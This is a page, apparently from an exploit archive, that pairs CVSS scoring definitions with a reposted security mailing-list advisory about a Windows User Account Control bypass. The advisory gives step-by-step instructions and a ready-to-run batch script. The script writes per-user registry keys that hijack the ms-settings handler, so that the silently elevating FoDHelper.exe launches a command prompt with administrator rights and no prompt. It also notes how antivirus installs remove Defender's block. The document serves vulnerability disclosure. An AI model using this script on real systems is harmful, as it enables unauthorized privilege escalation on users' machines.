The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft User Account Control Nuances
Hi @ll,
with Windows 2000, Microsoft virtualised the [HKEY_CLASSES_ROOT] registry
branch: what was just an alias for [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
before became the overlay of [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] and
[HKEY_CURRENT_USER\Software\Classes] with the latter having precedence:
<https://msdn.microsoft.com/en-us/library/ms724498.aspx>
Note: while [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] is writable only by
(privileged) administrators, [HKEY_CURRENT_USER\Software\Classes]
is writable by the (current) unprivileged user.
With Windows Vista they introduced the "security theatre" called
"User Account Control" (a far better name is "qUACkery"):
<https://blogs.msdn.microsoft.com/uac/2005/12/08/user-account-control/>
| User Account Protection was the preliminary name for a core security
| component of Windows Vista. The component has now been officially named
| User Account Control (UAC).
The qUACkery sort of lobotomises administrator accounts and splits their
brain^Waccess token: the "shell", i.e. EXPLORER.exe, and all programs run
from it use a restricted access token without administrative privileges.
For the (not so few) programs which but need administrative privileges,
Microsoft introduced a "kill switch" in the application manifest:
<https://msdn.microsoft.com/en-us/library/aa374191.aspx>
<https://msdn.microsoft.com/en-us/library/bb756929.aspx>
| <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
| <security>
| <requestedPrivileges>
| <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
| </requestedPrivileges>
| </security>
| </trustInfo>
With this loop^Wwormhole, the virtualised [HKEY_CLASSES_ROOT] introduced
with Windows 2000 became but a can of worms: in STANDARD installations of
Windows, applications running with administrative privileges, i.e. an
integrity level above "Medium", now evaluate registry settings (COM CLSIDs,
ProgIDs, URL protocols, ...) which are under control of the unprivileged
user.
<https://msdn.microsoft.com/en-us/library/ms724498.aspx>
| If an application is run with administrator rights and User Account
| Control is disabled, the COM runtime ignores per-user COM configuration
| and accesses only per-machine COM configuration.
<https://msdn.microsoft.com/en-us/library/bb756926.aspx>
| Beginning with Windows Vista and Windows Server 2008, if the
| integrity level of a process is higher than Medium, the COM runtime
| ignores per-user COM configuration and accesses only per-machine
| COM configuration. This action reduces the surface area for elevation
| of privilege attacks, preventing a process with standard user privileges
| from configuring a COM object with arbitrary code and having this code
| called from an elevated process.
OOPS: COM CLSIDs have been removed from the can of worms.
But what about ProgIDs and URL protocols?
<https://msdn.microsoft.com/en-us/library/cc144152.aspx>
Demonstration:
~~~~~~~~~~~~~~
1) Start the command processor in the user account created during
Windows setup;
2) Execute the "Feature on Demand" helper application FoDHelper.exe
(which requires administrative privileges, but elevates SILENTLY),
then close the "Immersive Control Panel" window it opened;
3) Add the following registry entries to replace the application run
by the elevated FoDHelper.exe from "Immersive Control Panel" to
"Windows Command Processor" (or an arbitrary other one):
[HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe"
[HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer]
@="qUACkery"
4) Execute FoDHelper.exe again;
5) Remove the registry entries created in step 3.
If you prefer a batch script:
--- quackery.cmd
REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command" /VE /T REG_SZ /D "%COMSPEC%" /F
REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer" /VE /T REG_SZ /D "qUACkery" /F
FoDHelper.exe
REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\MS-Settings" /F
REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\qUACkery" /F
--- EOF ---
OOPS: Windows Defender blocks the execution of FoDHelper.exe
Spoiler: installation of another anti-virus, for example McAfee,
Bitdefender, Eset, Sophos, Avira, AVG/Avast, TrendMicro,
deactivates Windows Defender and lets FoDHelper.com run
an arbitrary application elevated, without UAC prompt.
stay tuned, and far away from the eternally vulnerable crap oozing out of Redmond
Stefan Kanthak
PS: finding the applications which call the ProgIDs/URL protocols
ms-settings-airplanemode, ms-settings-bluetooth, ms-settings-cellular,
ms-settings-connectabledevices, ms-settings-displays-topology,
ms-settings-emailandaccounts, ms-settings-language, ms-settings-location,
ms-settings-lock, ms-settings-mobilehotspot, ms-settings-notifications,
ms-settings-power, ms-settings-privacy, ms-settings-proximity,
ms-settings-screenrotation, ms-settings-wifi, ms-settings-workplace
is left as an exercise to the reader.
PPS: for all these URL protocols, the wise guys from Redmond added the
following registry entries to ease their exploitation:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings]
"WarnOnOpen"=dword:00000000
...
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings-workplace]
"WarnOnOpen"=dword:00000000
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